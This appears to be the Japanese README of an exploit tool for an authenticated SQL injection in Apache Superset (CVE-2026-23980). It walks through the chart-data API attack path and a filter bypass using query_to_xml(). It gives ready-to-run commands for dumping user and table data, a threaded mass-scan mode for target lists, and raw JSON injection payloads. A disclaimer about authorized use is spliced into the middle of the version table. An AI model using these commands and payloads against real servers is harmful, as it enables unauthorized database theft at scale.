
CVE-2026-23980 のエクスプロイト — Apache Superset < 6.0.0 における sqlExpression バイパスを介した認証済みエラーベース SQL インジェクション
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpressionはそのままクエリに渡される。パラメータ化なし。希望なし。
Apache Superset 6.0.0未満では、読み取りアクセス権を持つ認証済みユーザーが /api/v1/chart/data エンドポイントの sqlExpression または where パラメータを介してエラーベースSQLインジェクションを実行できます。
validate_adhoc_subquery() フィルタは、PostgreSQLのXML関数(query_to_xml など)を使用してバイパスされます。これらの関数はSQLを関数引数として実行するため、sqlparse トークナイザーには見えません。
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> adhoc列のsqlExpression / extras.whereにインジェクション
-> validate_adhoc_subquery() を query_to_xml() でバイパス
-> 生のSQLがPostgreSQLに到達
-> CAST((...) AS INT) エラーでレスポンスにデータが漏洩
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# データベースバージョン
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# データベースユーザー
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# テーブル一覧
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# 現在のユーザー
python3 exploit.py ... --sql "SELECT current_user"
validate_adhoc_subquery() がクエリをブロックした場合(FROM/JOINを検出):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
これによりクエリが query_to_xml() でラップされ、FROM句がトークナイザーから隠蔽されます。
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression(デフォルト) - 列定義にインジェクション:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - extras.where句にインジェクション:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
このエクスプロイトはPostgreSQLの型キャストを利用してデータを漏洩させます:
CAST((SELECT version()) AS INT)
PostgreSQLは文字列を整数に変換できないため、次のエラーが発生します:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
漏洩した値はAPIレスポンスのエラーメッセージから解析されます。
Supersetの has_table_query() は FROM/JOIN をスキャンしてサブクエリを検出します。PostgreSQLの query_to_xml() はSQLを実行しますが、関数引数として隠蔽します:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
トークナイザーは関数呼び出しとして認識し、FROM句として認識しないため、フィルタをバイパスします。
| バージョン | ステータス |
|---|---|
| < 4.0.2 | 脆弱性あり(XML関数の拒否リストなし) |
このツールは許可されたセキュリティ研究のみを目的としています。明示的なテスト許可を得たシステムに対してのみ使用してください。作者は不正使用について一切の責任を負いません。
| 4.0.2 | 部分修正(CVE-2024-39887 - 一部のXML関数を拒否リストに追加) |
| 4.1.0 | 拒否リスト拡張(より多くのXML関数) |
| 4.1.2 | 行レベルセキュリティのバイパスを修正(CVE-2025-48912) |
| 6.0.0 | CVE-2026-23980の完全修正 |